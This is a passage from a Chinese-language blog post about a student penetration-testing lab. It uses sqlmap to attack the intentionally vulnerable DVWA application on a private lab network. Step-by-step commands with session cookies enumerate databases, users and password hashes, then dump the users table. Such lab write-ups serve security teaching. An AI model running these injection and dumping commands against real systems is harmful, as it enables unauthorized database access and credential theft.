網路滲透測試實驗三-XSS和SQL隱碼攻擊

yatktm發表於2020-11-29


tips:關於知識的描述就放在最後了哈~~

前言

實驗目的

瞭解什麼是XSS;
瞭解XSS攻擊實施,理解防禦XSS攻擊的方法;
瞭解SQL隱碼攻擊的基本原理;
掌握PHP指令碼訪問MySQL資料庫的基本方法;
掌握程式設計中避免出現SQL隱碼攻擊漏洞的基本方法;
掌握網站配置。

系統環境

Kali Linux 2、Windows Server、windows7

網路環境

交換網路結構

實驗工具

Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA

SQL隱碼攻擊部分:DVWA+SQLmap+Mysql注入實戰

實驗環境搭建

開啟Metasploitable2後,裡面有搭建好的DVWA,訪問http://Metasploitable的IP/dvwa (可能需要先掃描一下內網的ip,確定Metasploitable2的ip地址)並且把安全等級設定為最低喔。
在這裡插入圖片描述

1、注入點發現。首先肯定是要判斷是否有注入漏洞。

在輸入框輸入1,結果如下:
在這裡插入圖片描述
再次輸入1’,報錯,返回


You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1

此時可以斷定有SQL隱碼攻擊漏洞,

http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#

下面利用SQLMap進行注入攻擊。

2、列舉當前使用的資料庫名稱和使用者名稱。

sqlmap語法引數

-u:指定目標URL
--cookie:當前會話的cookies值
-b:獲取資料庫型別,檢查資料庫管理系統標識
--current-db:獲取當前資料庫
--current-user:獲取當前資料庫使用的使用者
--string:當查詢可用時用來匹配頁面中的字串
--users:列舉DBMS使用者
-password:列舉DBMS使用者密碼hash

詳細的sqlmap語法可以looklook這篇部落格:https://www.freebuf.com/sectool/164608.html

輸入的命令:

sqlmap -u "http://192.168.42.131/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=b9cf186877fb55e131be74681ef9064a' -b --current-db --current-user

ps:url那塊直接複製貼上,cookie那塊可以按f12,在儲存欄可以找到,也可以用TamperData彈窗獲取。
在這裡插入圖片描述
就是這個都快給我整吐了。。沒有注意看url。。只是把ip地址改了一下,跑了我半個小時,沒跑出來。。。差點就把自己給笨沒了。(注意細節注意細節注意細節。。。)

3、列舉資料庫使用者名稱和密碼

輸入的命令:

sqlmap -u "http://192.168.42.131/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=b9cf186877fb55e131be74681ef9064a' --users --password

在這裡插入圖片描述

4、列舉資料庫

–dbs:列舉當前資料庫

輸入的命令:

sqlmap -u "http://192.168.42.131/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=b9cf186877fb55e131be74681ef9064a' --dbs

5、列舉資料庫和指定資料庫的資料表

-D 資料庫名:指定資料庫
–tables:列舉指定資料庫的所有表

輸入的命令:

sqlmap -u "http://192.168.42.131/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=b9cf186877fb55e131be74681ef9064a' -D "dvwa" --tables

在這裡插入圖片描述

6、獲取指定資料庫和表中所有列的資訊

-D:指定的資料庫
-T:指定資料庫中的資料表
–columns:獲取列的資訊

輸入的命令:

sqlmap -u "http://192.168.42.131/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=b9cf186877fb55e131be74681ef9064a' -D "dvwa" -T users --columns

在這裡插入圖片描述

7、列舉指定資料表中的所有使用者名稱與密碼,並down到本地。

-C:列舉資料表中的列
–dump:儲存資料表項

輸入的命令:

sqlmap -u "http://192.168.42.131/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low; PHPSESSID=b9cf186877fb55e131be74681ef9064a' -D "dvwa" -T users -C “user_id,user,password” --dump

在這裡插入圖片描述

檢視 down 到本地的使用者名稱和密碼。

在這裡插入圖片描述

相關文章